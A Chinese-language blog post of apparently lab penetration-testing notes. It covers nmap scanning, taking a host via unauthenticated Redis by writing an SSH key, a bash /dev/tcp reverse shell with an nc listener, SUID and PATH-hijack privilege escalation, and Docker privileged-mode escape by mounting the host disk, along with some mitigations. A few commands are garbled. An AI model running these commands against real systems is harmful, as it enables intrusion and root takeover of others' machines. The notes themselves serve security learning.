内网安全笔记

一、信息收集

通过nmap扫描ip的端口服务

nmap -T4 -p- -sV 172.31.103.184
-T4  扫描时间(一般不建议过快)
-p-  扫描全端口
-sV  扫描服务和版本
-O   扫描操作系统
-p 1-65535    扫描端口限制

在这里插入图片描述这里可以看出扫到22端口和80端口,分别是ssh 和http的端口,服务器和版本也可以看得到

常见端口:

21:FTP文件传输协议
22:SSH远程连接23:
23:TELNET远程登录:
25:SMTP邮件服务:
53:DNS域名系统
80:HTTP超文本传输协议
443:HTTPS安全超文本传输协议
1433:MSSQL
3306:MYSQL
3389:windows远程桌面服务端口
6379:redis默认端口
7701:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号

第一个漏洞:redis未授权拿下目标主机

ssh服务登录的两种方式:
1:账号密码登录
2:密钥登录

redis未授权漏洞:
可以写入ssh公钥,再通过ssh连接进行攻击

kali中生成ssh公钥

ssh-keygen -t rsa
-t 指定哪种加密方式
rsa  非对称加密

回车后是选择保存的地址,此处默认即可
接下来将密钥添加到key.txt中

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n" ) > key.txt

将生成的key.txt添加到redis缓冲区里

cat key.txt | redis-cli -h 192.168.97.225 -x xxx

进入到redis未授权里,将key.txt备份并命名为 authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys
save

接下来即可通过ssh连接目标主机
由于是放在root目录下,直接就是root权限,不用提权

当权限过低,操作流程:
查看当前所处状态,是否处在一个docker容器下

cat /proc/self/cgroup

接下来进行提权

找一个
suid 
4000权限的文件
(相当于普通用户使用sudo,但执行结束权限也会消失)

接下来进行查找

find /-pem -u=s -type f 2>/dev/null

在这里插入图片描述
但是cd ..不能切换目录
解决方法:

更换一个shell
在自己本地使用nc工具
反弹一个shell,攻击机监听

nc -lvvp 666
bash -c 'exec bash -i &>/dev/tcp/192.168.52.128/666<&1'

监听和bash连接可以用不同的软件

用本地的机器监听目标反向shell的机器
获取到shell后还是低权限的shell
接下来在find中找到的shell文件
进入shell所在目录

./shell

执行该程序,发现跑了四个交互式
在这里插入图片描述

环境变量劫持

rm ps

此时提权方法为环境变量劫持

echo "/bin/sh" >ps
chmod 777 ps
cat ps

在这里插入图片描述

执行

echo $PATH

在这里插入图片描述

服务器中存在ps可执行命令,那么在执行ps命令的时候会根据环境变量的优先级寻找该命令文件,找到后才会执行
使用echo $PATH
当前环境变量的优先顺序
在这里插入图片描述
在环境变量前伪造一个ps文件,就能先执行伪造的那个环境变量
然后添加环境变量

export PATH=/tmp:$PATH
意味着在tmp目录下新建一个path

再执行echo $PATH
在这里插入图片描述

然后到jobs目录下执行.shell
whoami 就可以看到root权限
此时的root权限还是在docker环境下
在这里插入图片描述

完全交互式shell

使用python的方式将shell升级为完全交互式shell,
此处可以查看大佬写的博客:Linux 反向 shell 升级为完全可用的 TTY shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

docker逃逸

四种方法:
1、docker daemon api未授权访问
2、privileged特权模式启动容器 #docker run -privilege
3、利用dirty cow来进行docker逃逸 脏牛
4、通过cve-2019-5736来达到docker逃逸

在这里插入图片描述

防止docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本>1.0-rc6 3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22—-CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14–CVE-2017-1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务 7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

接下来在根目录新建文件夹

mkdir /hack

ls /dev 

可以看到大量设备目录

mount /dev/sda^Hal ^H1 /hack

将目录挂载到hack文件夹,访问hack文件夹即可访问整个宿主机、
在这里插入图片描述
挂载完进行特权模式逃逸
两种方式:

  • 写计划任务,在宿主机上执行恶意命令
  • 生成ssh密钥直接连接
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值